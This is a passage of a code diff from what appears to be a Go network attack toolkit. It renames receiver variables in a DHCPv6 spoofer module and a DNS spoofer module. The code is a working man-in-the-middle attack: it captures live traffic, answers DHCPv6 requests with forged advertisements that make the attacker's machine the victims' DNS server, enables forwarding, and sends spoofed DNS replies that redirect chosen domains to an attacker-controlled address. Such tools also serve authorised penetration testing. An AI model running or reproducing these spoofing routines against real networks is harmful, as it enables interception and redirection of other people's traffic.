func (mod *DHCP6Spoofer) Configure() error {
|
||||||
var err error
|
var err error
|
||||||
|
|
||||||
if s.Running() {
|
if mod.Running() {
|
||||||
return session.ErrAlreadyStarted
|
return session.ErrAlreadyStarted
|
||||||
}
|
}
|
||||||
|
|
||||||
if s.Handle, err = pcap.OpenLive(s.Session.Interface.Name(), 65536, true, pcap.BlockForever); err != nil {
|
if mod.Handle, err = pcap.OpenLive(mod.Session.Interface.Name(), 65536, true, pcap.BlockForever); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
err = s.Handle.SetBPFFilter("ip6 and udp")
|
err = mod.Handle.SetBPFFilter("ip6 and udp")
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
if err, s.Domains = s.ListParam("dhcp6.spoof.domains"); err != nil {
|
if err, mod.Domains = mod.ListParam("dhcp6.spoof.domains"); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
s.RawDomains = packets.DHCP6EncodeList(s.Domains)
|
mod.RawDomains = packets.DHCP6EncodeList(mod.Domains)
|
||||||
|
|
||||||
if s.DUID, err = dhcp6opts.NewDUIDLLT(1, time.Date(2000, time.January, 1, 0, 0, 0, 0, time.UTC), s.Session.Interface.HW); err != nil {
|
if mod.DUID, err = dhcp6opts.NewDUIDLLT(1, time.Date(2000, time.January, 1, 0, 0, 0, 0, time.UTC), mod.Session.Interface.HW); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if s.DUIDRaw, err = s.DUID.MarshalBinary(); err != nil {
|
} else if mod.DUIDRaw, err = mod.DUID.MarshalBinary(); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
if !s.Session.Firewall.IsForwardingEnabled() {
|
if !mod.Session.Firewall.IsForwardingEnabled() {
|
||||||
s.Info("Enabling forwarding.")
|
mod.Info("Enabling forwarding.")
|
||||||
s.Session.Firewall.EnableForwarding(true)
|
mod.Session.Firewall.EnableForwarding(true)
|
||||||
}
|
}
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *DHCP6Spoofer) dhcp6For(what dhcp6.MessageType, to dhcp6.Packet) (err error, p dhcp6.Packet) {
|
func (mod *DHCP6Spoofer) dhcp6For(what dhcp6.MessageType, to dhcp6.Packet) (err error, p dhcp6.Packet) {
|
||||||
err, p = packets.DHCP6For(what, to, s.DUIDRaw)
|
err, p = packets.DHCP6For(what, to, mod.DUIDRaw)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
p.Options.AddRaw(packets.DHCP6OptDNSServers, s.Session.Interface.IPv6)
|
p.Options.AddRaw(packets.DHCP6OptDNSServers, mod.Session.Interface.IPv6)
|
||||||
p.Options.AddRaw(packets.DHCP6OptDNSDomains, s.RawDomains)
|
p.Options.AddRaw(packets.DHCP6OptDNSDomains, mod.RawDomains)
|
||||||
|
|
||||||
return nil, p
|
return nil, p
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *DHCP6Spoofer) dhcpAdvertise(pkt gopacket.Packet, solicit dhcp6.Packet, target net.HardwareAddr) {
|
func (mod *DHCP6Spoofer) dhcpAdvertise(pkt gopacket.Packet, solicit dhcp6.Packet, target net.HardwareAddr) {
|
||||||
pip6 := pkt.Layer(layers.LayerTypeIPv6).(*layers.IPv6)
|
pip6 := pkt.Layer(layers.LayerTypeIPv6).(*layers.IPv6)
|
||||||
|
|
||||||
fqdn := target.String()
|
fqdn := target.String()
|
||||||
|
@ -130,29 +130,29 @@ func (s *DHCP6Spoofer) dhcpAdvertise(pkt gopacket.Packet, solicit dhcp6.Packet,
|
||||||
fqdn = string(raw[0])
|
fqdn = string(raw[0])
|
||||||
}
|
}
|
||||||
|
|
||||||
s.Info("Got DHCPv6 Solicit request from %s (%s), sending spoofed advertisement for %d domains.", tui.Bold(fqdn), target, len(s.Domains))
|
mod.Info("Got DHCPv6 Solicit request from %s (%s), sending spoofed advertisement for %d domains.", tui.Bold(fqdn), target, len(mod.Domains))
|
||||||
|
|
||||||
err, adv := s.dhcp6For(dhcp6.MessageTypeAdvertise, solicit)
|
err, adv := mod.dhcp6For(dhcp6.MessageTypeAdvertise, solicit)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
s.Error("%s", err)
|
mod.Error("%s", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
var solIANA dhcp6opts.IANA
|
var solIANA dhcp6opts.IANA
|
||||||
|
|
||||||
if raw, found := solicit.Options[dhcp6.OptionIANA]; !found || len(raw) < 1 {
|
if raw, found := solicit.Options[dhcp6.OptionIANA]; !found || len(raw) < 1 {
|
||||||
s.Error("Unexpected DHCPv6 packet, could not find IANA.")
|
mod.Error("Unexpected DHCPv6 packet, could not find IANA.")
|
||||||
return
|
return
|
||||||
} else if err := solIANA.UnmarshalBinary(raw[0]); err != nil {
|
} else if err := solIANA.UnmarshalBinary(raw[0]); err != nil {
|
||||||
s.Error("Unexpected DHCPv6 packet, could not deserialize IANA.")
|
mod.Error("Unexpected DHCPv6 packet, could not deserialize IANA.")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
var ip net.IP
|
var ip net.IP
|
||||||
if h, found := s.Session.Lan.Get(target.String()); found {
|
if h, found := mod.Session.Lan.Get(target.String()); found {
|
||||||
ip = h.IP
|
ip = h.IP
|
||||||
} else {
|
} else {
|
||||||
s.Warning("Address %s not known, using random identity association address.", target.String())
|
mod.Warning("Address %s not known, using random identity association address.", target.String())
|
||||||
rand.Read(ip)
|
rand.Read(ip)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -160,13 +160,13 @@ func (s *DHCP6Spoofer) dhcpAdvertise(pkt gopacket.Packet, solicit dhcp6.Packet,
|
||||||
|
|
||||||
iaaddr, err := dhcp6opts.NewIAAddr(net.ParseIP(addr), 300*time.Second, 300*time.Second, nil)
|
iaaddr, err := dhcp6opts.NewIAAddr(net.ParseIP(addr), 300*time.Second, 300*time.Second, nil)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
s.Error("Error creating IAAddr: %s", err)
|
mod.Error("Error creating IAAddr: %s", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
iaaddrRaw, err := iaaddr.MarshalBinary()
|
iaaddrRaw, err := iaaddr.MarshalBinary()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
s.Error("Error serializing IAAddr: %s", err)
|
mod.Error("Error serializing IAAddr: %s", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -174,7 +174,7 @@ func (s *DHCP6Spoofer) dhcpAdvertise(pkt gopacket.Packet, solicit dhcp6.Packet,
|
||||||
iana := dhcp6opts.NewIANA(solIANA.IAID, 200*time.Second, 250*time.Second, opts)
|
iana := dhcp6opts.NewIANA(solIANA.IAID, 200*time.Second, 250*time.Second, opts)
|
||||||
ianaRaw, err := iana.MarshalBinary()
|
ianaRaw, err := iana.MarshalBinary()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
s.Error("Error serializing IANA: %s", err)
|
mod.Error("Error serializing IANA: %s", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -182,12 +182,12 @@ func (s *DHCP6Spoofer) dhcpAdvertise(pkt gopacket.Packet, solicit dhcp6.Packet,
|
||||||
|
|
||||||
rawAdv, err := adv.MarshalBinary()
|
rawAdv, err := adv.MarshalBinary()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
s.Error("Error serializing advertisement packet: %s.", err)
|
mod.Error("Error serializing advertisement packet: %s.", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
eth := layers.Ethernet{
|
eth := layers.Ethernet{
|
||||||
SrcMAC: s.Session.Interface.HW,
|
SrcMAC: mod.Session.Interface.HW,
|
||||||
DstMAC: target,
|
DstMAC: target,
|
||||||
EthernetType: layers.EthernetTypeIPv6,
|
EthernetType: layers.EthernetTypeIPv6,
|
||||||
}
|
}
|
||||||
|
@ -196,7 +196,7 @@ func (s *DHCP6Spoofer) dhcpAdvertise(pkt gopacket.Packet, solicit dhcp6.Packet,
|
||||||
Version: 6,
|
Version: 6,
|
||||||
NextHeader: layers.IPProtocolUDP,
|
NextHeader: layers.IPProtocolUDP,
|
||||||
HopLimit: 64,
|
HopLimit: 64,
|
||||||
SrcIP: s.Session.Interface.IPv6,
|
SrcIP: mod.Session.Interface.IPv6,
|
||||||
DstIP: pip6.SrcIP,
|
DstIP: pip6.SrcIP,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -213,31 +213,31 @@ func (s *DHCP6Spoofer) dhcpAdvertise(pkt gopacket.Packet, solicit dhcp6.Packet,
|
||||||
|
|
||||||
err, raw := packets.Serialize(ð, &ip6, &udp, &dhcp)
|
err, raw := packets.Serialize(ð, &ip6, &udp, &dhcp)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
s.Error("Error serializing packet: %s.", err)
|
mod.Error("Error serializing packet: %s.", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
s.Debug("Sending %d bytes of packet ...", len(raw))
|
mod.Debug("Sending %d bytes of packet ...", len(raw))
|
||||||
if err := s.Session.Queue.Send(raw); err != nil {
|
if err := mod.Session.Queue.Send(raw); err != nil {
|
||||||
s.Error("Error sending packet: %s", err)
|
mod.Error("Error sending packet: %s", err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *DHCP6Spoofer) dhcpReply(toType string, pkt gopacket.Packet, req dhcp6.Packet, target net.HardwareAddr) {
|
func (mod *DHCP6Spoofer) dhcpReply(toType string, pkt gopacket.Packet, req dhcp6.Packet, target net.HardwareAddr) {
|
||||||
s.Debug("Sending spoofed DHCPv6 reply to %s after its %s packet.", tui.Bold(target.String()), toType)
|
mod.Debug("Sending spoofed DHCPv6 reply to %s after its %s packet.", tui.Bold(target.String()), toType)
|
||||||
|
|
||||||
err, reply := s.dhcp6For(dhcp6.MessageTypeReply, req)
|
err, reply := mod.dhcp6For(dhcp6.MessageTypeReply, req)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
s.Error("%s", err)
|
mod.Error("%s", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
var reqIANA dhcp6opts.IANA
|
var reqIANA dhcp6opts.IANA
|
||||||
if raw, found := req.Options[dhcp6.OptionIANA]; !found || len(raw) < 1 {
|
if raw, found := req.Options[dhcp6.OptionIANA]; !found || len(raw) < 1 {
|
||||||
s.Error("Unexpected DHCPv6 packet, could not find IANA.")
|
mod.Error("Unexpected DHCPv6 packet, could not find IANA.")
|
||||||
return
|
return
|
||||||
} else if err := reqIANA.UnmarshalBinary(raw[0]); err != nil {
|
} else if err := reqIANA.UnmarshalBinary(raw[0]); err != nil {
|
||||||
s.Error("Unexpected DHCPv6 packet, could not deserialize IANA.")
|
mod.Error("Unexpected DHCPv6 packet, could not deserialize IANA.")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -245,7 +245,7 @@ func (s *DHCP6Spoofer) dhcpReply(toType string, pkt gopacket.Packet, req dhcp6.P
|
||||||
if raw, found := reqIANA.Options[dhcp6.OptionIAAddr]; found {
|
if raw, found := reqIANA.Options[dhcp6.OptionIAAddr]; found {
|
||||||
reqIAddr = raw[0]
|
reqIAddr = raw[0]
|
||||||
} else {
|
} else {
|
||||||
s.Error("Unexpected DHCPv6 packet, could not deserialize request IANA IAAddr.")
|
mod.Error("Unexpected DHCPv6 packet, could not deserialize request IANA IAAddr.")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -253,20 +253,20 @@ func (s *DHCP6Spoofer) dhcpReply(toType string, pkt gopacket.Packet, req dhcp6.P
|
||||||
iana := dhcp6opts.NewIANA(reqIANA.IAID, 200*time.Second, 250*time.Second, opts)
|
iana := dhcp6opts.NewIANA(reqIANA.IAID, 200*time.Second, 250*time.Second, opts)
|
||||||
ianaRaw, err := iana.MarshalBinary()
|
ianaRaw, err := iana.MarshalBinary()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
s.Error("Error serializing IANA: %s", err)
|
mod.Error("Error serializing IANA: %s", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
reply.Options.AddRaw(dhcp6.OptionIANA, ianaRaw)
|
reply.Options.AddRaw(dhcp6.OptionIANA, ianaRaw)
|
||||||
|
|
||||||
rawAdv, err := reply.MarshalBinary()
|
rawAdv, err := reply.MarshalBinary()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
s.Error("Error serializing advertisement packet: %s.", err)
|
mod.Error("Error serializing advertisement packet: %s.", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
pip6 := pkt.Layer(layers.LayerTypeIPv6).(*layers.IPv6)
|
pip6 := pkt.Layer(layers.LayerTypeIPv6).(*layers.IPv6)
|
||||||
eth := layers.Ethernet{
|
eth := layers.Ethernet{
|
||||||
SrcMAC: s.Session.Interface.HW,
|
SrcMAC: mod.Session.Interface.HW,
|
||||||
DstMAC: target,
|
DstMAC: target,
|
||||||
EthernetType: layers.EthernetTypeIPv6,
|
EthernetType: layers.EthernetTypeIPv6,
|
||||||
}
|
}
|
||||||
|
@ -275,7 +275,7 @@ func (s *DHCP6Spoofer) dhcpReply(toType string, pkt gopacket.Packet, req dhcp6.P
|
||||||
Version: 6,
|
Version: 6,
|
||||||
NextHeader: layers.IPProtocolUDP,
|
NextHeader: layers.IPProtocolUDP,
|
||||||
HopLimit: 64,
|
HopLimit: 64,
|
||||||
SrcIP: s.Session.Interface.IPv6,
|
SrcIP: mod.Session.Interface.IPv6,
|
||||||
DstIP: pip6.SrcIP,
|
DstIP: pip6.SrcIP,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -292,13 +292,13 @@ func (s *DHCP6Spoofer) dhcpReply(toType string, pkt gopacket.Packet, req dhcp6.P
|
||||||
|
|
||||||
err, raw := packets.Serialize(ð, &ip6, &udp, &dhcp)
|
err, raw := packets.Serialize(ð, &ip6, &udp, &dhcp)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
s.Error("Error serializing packet: %s.", err)
|
mod.Error("Error serializing packet: %s.", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
s.Debug("Sending %d bytes of packet ...", len(raw))
|
mod.Debug("Sending %d bytes of packet ...", len(raw))
|
||||||
if err := s.Session.Queue.Send(raw); err != nil {
|
if err := mod.Session.Queue.Send(raw); err != nil {
|
||||||
s.Error("Error sending packet: %s", err)
|
mod.Error("Error sending packet: %s", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
if toType == "request" {
|
if toType == "request" {
|
||||||
|
@ -307,26 +307,26 @@ func (s *DHCP6Spoofer) dhcpReply(toType string, pkt gopacket.Packet, req dhcp6.P
|
||||||
addr = net.IP(raw[0])
|
addr = net.IP(raw[0])
|
||||||
}
|
}
|
||||||
|
|
||||||
if h, found := s.Session.Lan.Get(target.String()); found {
|
if h, found := mod.Session.Lan.Get(target.String()); found {
|
||||||
s.Info("IPv6 address %s is now assigned to %s", addr.String(), h)
|
mod.Info("IPv6 address %s is now assigned to %s", addr.String(), h)
|
||||||
} else {
|
} else {
|
||||||
s.Info("IPv6 address %s is now assigned to %s", addr.String(), target)
|
mod.Info("IPv6 address %s is now assigned to %s", addr.String(), target)
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
s.Debug("DHCPv6 renew sent to %s", target)
|
mod.Debug("DHCPv6 renew sent to %s", target)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *DHCP6Spoofer) duidMatches(dhcp dhcp6.Packet) bool {
|
func (mod *DHCP6Spoofer) duidMatches(dhcp dhcp6.Packet) bool {
|
||||||
if raw, found := dhcp.Options[dhcp6.OptionServerID]; found && len(raw) >= 1 {
|
if raw, found := dhcp.Options[dhcp6.OptionServerID]; found && len(raw) >= 1 {
|
||||||
if bytes.Equal(raw[0], s.DUIDRaw) {
|
if bytes.Equal(raw[0], mod.DUIDRaw) {
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *DHCP6Spoofer) onPacket(pkt gopacket.Packet) {
|
func (mod *DHCP6Spoofer) onPacket(pkt gopacket.Packet) {
|
||||||
var dhcp dhcp6.Packet
|
var dhcp dhcp6.Packet
|
||||||
var err error
|
var err error
|
||||||
|
|
||||||
|
@ -341,46 +341,46 @@ func (s *DHCP6Spoofer) onPacket(pkt gopacket.Packet) {
|
||||||
switch dhcp.MessageType {
|
switch dhcp.MessageType {
|
||||||
case dhcp6.MessageTypeSolicit:
|
case dhcp6.MessageTypeSolicit:
|
||||||
|
|
||||||
s.dhcpAdvertise(pkt, dhcp, eth.SrcMAC)
|
mod.dhcpAdvertise(pkt, dhcp, eth.SrcMAC)
|
||||||
|
|
||||||
case dhcp6.MessageTypeRequest:
|
case dhcp6.MessageTypeRequest:
|
||||||
if s.duidMatches(dhcp) {
|
if mod.duidMatches(dhcp) {
|
||||||
s.dhcpReply("request", pkt, dhcp, eth.SrcMAC)
|
mod.dhcpReply("request", pkt, dhcp, eth.SrcMAC)
|
||||||
}
|
}
|
||||||
|
|
||||||
case dhcp6.MessageTypeRenew:
|
case dhcp6.MessageTypeRenew:
|
||||||
if s.duidMatches(dhcp) {
|
if mod.duidMatches(dhcp) {
|
||||||
s.dhcpReply("renew", pkt, dhcp, eth.SrcMAC)
|
mod.dhcpReply("renew", pkt, dhcp, eth.SrcMAC)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *DHCP6Spoofer) Start() error {
|
func (mod *DHCP6Spoofer) Start() error {
|
||||||
if err := s.Configure(); err != nil {
|
if err := mod.Configure(); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
return s.SetRunning(true, func() {
|
return mod.SetRunning(true, func() {
|
||||||
s.waitGroup.Add(1)
|
mod.waitGroup.Add(1)
|
||||||
defer s.waitGroup.Done()
|
defer mod.waitGroup.Done()
|
||||||
|
|
||||||
src := gopacket.NewPacketSource(s.Handle, s.Handle.LinkType())
|
src := gopacket.NewPacketSource(mod.Handle, mod.Handle.LinkType())
|
||||||
s.pktSourceChan = src.Packets()
|
mod.pktSourceChan = src.Packets()
|
||||||
for packet := range s.pktSourceChan {
|
for packet := range mod.pktSourceChan {
|
||||||
if !s.Running() {
|
if !mod.Running() {
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
|
|
||||||
s.onPacket(packet)
|
mod.onPacket(packet)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *DHCP6Spoofer) Stop() error {
|
func (mod *DHCP6Spoofer) Stop() error {
|
||||||
return s.SetRunning(false, func() {
|
return mod.SetRunning(false, func() {
|
||||||
s.pktSourceChan <- nil
|
mod.pktSourceChan <- nil
|
||||||
s.Handle.Close()
|
mod.Handle.Close()
|
||||||
s.waitGroup.Wait()
|
mod.waitGroup.Wait()
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
|
@ -26,7 +26,7 @@ type DNSSpoofer struct {
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewDNSSpoofer(s *session.Session) *DNSSpoofer {
|
func NewDNSSpoofer(s *session.Session) *DNSSpoofer {
|
||||||
spoof := &DNSSpoofer{
|
mod := &DNSSpoofer{
|
||||||
SessionModule: session.NewSessionModule("dns.spoof", s),
|
SessionModule: session.NewSessionModule("dns.spoof", s),
|
||||||
Handle: nil,
|
Handle: nil,
|
||||||
All: false,
|
All: false,
|
||||||
|
@ -34,120 +34,120 @@ func NewDNSSpoofer(s *session.Session) *DNSSpoofer {
|
||||||
waitGroup: &sync.WaitGroup{},
|
waitGroup: &sync.WaitGroup{},
|
||||||
}
|
}
|
||||||
|
|
||||||
spoof.AddParam(session.NewStringParameter("dns.spoof.hosts",
|
mod.AddParam(session.NewStringParameter("dns.spoof.hosts",
|
||||||
"",
|
"",
|
||||||
"",
|
"",
|
||||||
"If not empty, this hosts file will be used to map domains to IP addresses."))
|
"If not empty, this hosts file will be used to map domains to IP addresses."))
|
||||||
|
|
||||||
spoof.AddParam(session.NewStringParameter("dns.spoof.domains",
|
mod.AddParam(session.NewStringParameter("dns.spoof.domains",
|
||||||
"",
|
"",
|
||||||
"",
|
"",
|
||||||
"Comma separated values of domain names to spoof."))
|
"Comma separated values of domain names to spoof."))
|
||||||
|
|
||||||
spoof.AddParam(session.NewStringParameter("dns.spoof.address",
|
mod.AddParam(session.NewStringParameter("dns.spoof.address",
|
||||||
session.ParamIfaceAddress,
|
session.ParamIfaceAddress,
|
||||||
session.IPv4Validator,
|
session.IPv4Validator,
|
||||||
"IP address to map the domains to."))
|
"IP address to map the domains to."))
|
||||||
|
|
||||||
spoof.AddParam(session.NewBoolParameter("dns.spoof.all",
|
mod.AddParam(session.NewBoolParameter("dns.spoof.all",
|
||||||
"false",
|
"false",
|
||||||
"If true the module will reply to every DNS request, otherwise it will only reply to the one targeting the local pc."))
|
"If true the module will reply to every DNS request, otherwise it will only reply to the one targeting the local pc."))
|
||||||
|
|
||||||
spoof.AddHandler(session.NewModuleHandler("dns.spoof on", "",
|
mod.AddHandler(session.NewModuleHandler("dns.spoof on", "",
|
||||||
"Start the DNS spoofer in the background.",
|
"Start the DNS spoofer in the background.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return spoof.Start()
|
return mod.Start()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
spoof.AddHandler(session.NewModuleHandler("dns.spoof off", "",
|
mod.AddHandler(session.NewModuleHandler("dns.spoof off", "",
|
||||||
"Stop the DNS spoofer in the background.",
|
"Stop the DNS spoofer in the background.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return spoof.Stop()
|
return mod.Stop()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
return spoof
|
return mod
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s DNSSpoofer) Name() string {
|
func (mod DNSSpoofer) Name() string {
|
||||||
return "dns.spoof"
|
return "dns.spoof"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s DNSSpoofer) Description() string {
|
func (mod DNSSpoofer) Description() string {
|
||||||
return "Replies to DNS messages with spoofed responses."
|
return "Replies to DNS messages with spoofed responses."
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s DNSSpoofer) Author() string {
|
func (mod DNSSpoofer) Author() string {
|
||||||
return "Simone Margaritelli <evilsocket@gmail.com>"
|
return "Simone Margaritelli <evilsocket@gmail.com>"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *DNSSpoofer) Configure() error {
|
func (mod *DNSSpoofer) Configure() error {
|
||||||
var err error
|
var err error
|
||||||
var hostsFile string
|
var hostsFile string
|
||||||
var domains []string
|
var domains []string
|
||||||
var address net.IP
|
var address net.IP
|
||||||
|
|
||||||
if s.Running() {
|
if mod.Running() {
|
||||||
return session.ErrAlreadyStarted
|
return session.ErrAlreadyStarted
|
||||||
} else if s.Handle, err = pcap.OpenLive(s.Session.Interface.Name(), 65536, true, pcap.BlockForever); err != nil {
|
} else if mod.Handle, err = pcap.OpenLive(mod.Session.Interface.Name(), 65536, true, pcap.BlockForever); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err = s.Handle.SetBPFFilter("udp"); err != nil {
|
} else if err = mod.Handle.SetBPFFilter("udp"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, s.All = s.BoolParam("dns.spoof.all"); err != nil {
|
} else if err, mod.All = mod.BoolParam("dns.spoof.all"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, address = s.IPParam("dns.spoof.address"); err != nil {
|
} else if err, address = mod.IPParam("dns.spoof.address"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, domains = s.ListParam("dns.spoof.domains"); err != nil {
|
} else if err, domains = mod.ListParam("dns.spoof.domains"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if err, hostsFile = s.StringParam("dns.spoof.hosts"); err != nil {
|
} else if err, hostsFile = mod.StringParam("dns.spoof.hosts"); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
s.Hosts = Hosts{}
|
mod.Hosts = Hosts{}
|
||||||
for _, domain := range domains {
|
for _, domain := range domains {
|
||||||
s.Hosts = append(s.Hosts, NewHostEntry(domain, address))
|
mod.Hosts = append(mod.Hosts, NewHostEntry(domain, address))
|
||||||
}
|
}
|
||||||
|
|
||||||
if hostsFile != "" {
|
if hostsFile != "" {
|
||||||
s.Info("loading hosts from file %s ...", hostsFile)
|
mod.Info("loading hosts from file %s ...", hostsFile)
|
||||||
if err, hosts := HostsFromFile(hostsFile); err != nil {
|
if err, hosts := HostsFromFile(hostsFile); err != nil {
|
||||||
return fmt.Errorf("error reading hosts from file %s: %v", hostsFile, err)
|
return fmt.Errorf("error reading hosts from file %s: %v", hostsFile, err)
|
||||||
} else {
|
} else {
|
||||||
s.Hosts = append(s.Hosts, hosts...)
|
mod.Hosts = append(mod.Hosts, hosts...)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if len(s.Hosts) == 0 {
|
if len(mod.Hosts) == 0 {
|
||||||
return fmt.Errorf("at least dns.spoof.hosts or dns.spoof.domains must be filled")
|
return fmt.Errorf("at least dns.spoof.hosts or dns.spoof.domains must be filled")
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, entry := range s.Hosts {
|
for _, entry := range mod.Hosts {
|
||||||
s.Info("%s -> %s", entry.Host, entry.Address)
|
mod.Info("%s -> %s", entry.Host, entry.Address)
|
||||||
}
|
}
|
||||||
|
|
||||||
if !s.Session.Firewall.IsForwardingEnabled() {
|
if !mod.Session.Firewall.IsForwardingEnabled() {
|
||||||
s.Info("enabling forwarding.")
|
mod.Info("enabling forwarding.")
|
||||||
s.Session.Firewall.EnableForwarding(true)
|
mod.Session.Firewall.EnableForwarding(true)
|
||||||
}
|
}
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *DNSSpoofer) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp *layers.UDP, domain string, address net.IP, req *layers.DNS, target net.HardwareAddr) {
|
func (mod *DNSSpoofer) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp *layers.UDP, domain string, address net.IP, req *layers.DNS, target net.HardwareAddr) {
|
||||||
redir := fmt.Sprintf("(->%s)", address.String())
|
redir := fmt.Sprintf("(->%s)", address.String())
|
||||||
who := target.String()
|
who := target.String()
|
||||||
|
|
||||||
if t, found := s.Session.Lan.Get(target.String()); found {
|
if t, found := mod.Session.Lan.Get(target.String()); found {
|
||||||
who = t.String()
|
who = t.String()
|
||||||
}
|
}
|
||||||
|
|
||||||
s.Info("sending spoofed DNS reply for %s %s to %s.", tui.Red(domain), tui.Dim(redir), tui.Bold(who))
|
mod.Info("sending spoofed DNS reply for %s %s to %s.", tui.Red(domain), tui.Dim(redir), tui.Bold(who))
|
||||||
|
|
||||||
var err error
|
var err error
|
||||||
var src, dst net.IP
|
var src, dst net.IP
|
||||||
|
|
||||||
nlayer := pkt.NetworkLayer()
|
nlayer := pkt.NetworkLayer()
|
||||||
if nlayer == nil {
|
if nlayer == nil {
|
||||||
s.Debug("missing network layer skipping packet.")
|
mod.Debug("missing network layer skipping packet.")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -216,7 +216,7 @@ func (s *DNSSpoofer) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp *
|
||||||
|
|
||||||
err, raw = packets.Serialize(ð, &ip6, &udp, &dns)
|
err, raw = packets.Serialize(ð, &ip6, &udp, &dns)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
s.Error("error serializing packet: %s.", err)
|
mod.Error("error serializing packet: %s.", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
|
@ -237,18 +237,18 @@ func (s *DNSSpoofer) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp *
|
||||||
|
|
||||||
err, raw = packets.Serialize(ð, &ip4, &udp, &dns)
|
err, raw = packets.Serialize(ð, &ip4, &udp, &dns)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
s.Error("error serializing packet: %s.", err)
|
mod.Error("error serializing packet: %s.", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
s.Debug("sending %d bytes of packet ...", len(raw))
|
mod.Debug("sending %d bytes of packet ...", len(raw))
|
||||||
if err := s.Session.Queue.Send(raw); err != nil {
|
if err := mod.Session.Queue.Send(raw); err != nil {
|
||||||
s.Error("error sending packet: %s", err)
|
mod.Error("error sending packet: %s", err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *DNSSpoofer) onPacket(pkt gopacket.Packet) {
|
func (mod *DNSSpoofer) onPacket(pkt gopacket.Packet) {
|
||||||
typeEth := pkt.Layer(layers.LayerTypeEthernet)
|
typeEth := pkt.Layer(layers.LayerTypeEthernet)
|
||||||
typeUDP := pkt.Layer(layers.LayerTypeUDP)
|
typeUDP := pkt.Layer(layers.LayerTypeUDP)
|
||||||
if typeEth == nil || typeUDP == nil {
|
if typeEth == nil || typeUDP == nil {
|
||||||
|
